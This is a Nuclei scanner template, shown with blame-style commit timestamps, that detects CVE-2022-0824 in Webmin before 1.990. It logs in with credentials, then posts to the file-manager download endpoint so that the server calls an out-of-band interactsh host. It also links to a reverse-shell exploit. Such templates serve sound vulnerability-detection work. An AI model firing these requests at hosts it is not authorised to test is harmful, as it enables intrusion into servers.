2022-03-07 07:55:25 +00:00
|
|
|
id: CVE-2022-0824
|
|
|
|
|
|
|
|
info:
|
2022-11-08 07:56:39 +00:00
|
|
|
name: Webmin prior to 1.990 - Improper Access Control to Remote Code Execution
|
2022-03-07 07:55:25 +00:00
|
|
|
author: cckuailong
|
|
|
|
severity: high
|
|
|
|
description: Improper Access Control to Remote Code Execution in GitHub repository webmin/webmin prior to 1.990.
|
|
|
|
reference:
|
|
|
|
- https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell/blob/main/Webmin-revshell.py
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0824
|
2022-11-08 08:15:30 +00:00
|
|
|
- https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
|
|
|
|
- https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 8.8
|
|
|
|
cve-id: CVE-2022-0824
|
|
|
|
cwe-id: CWE-284
|
2022-11-08 21:10:06 +00:00
|
|
|
tags: rce,oss,huntr,cve,cve2022,webmin,authenticated
|
2022-03-07 07:55:25 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /session_login.cgi HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Cookie: redirect=1;testing=1;PHPSESSID=;
|
|
|
|
|
|
|
|
user={{username}}&pass={{password}}
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
Referer: {{RootURL}}/filemin/?xnavigation=1
|
|
|
|
|
2022-11-08 07:56:39 +00:00
|
|
|
link=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}
|
2022-03-07 07:55:25 +00:00
|
|
|
|
|
|
|
cookie-reuse: true
|
2022-11-08 07:56:39 +00:00
|
|
|
matchers-condition: and
|
2022-03-07 07:55:25 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol
|
|
|
|
words:
|
2022-11-08 07:56:39 +00:00
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "Failed to write to /{{ranstr}}/index.html"
|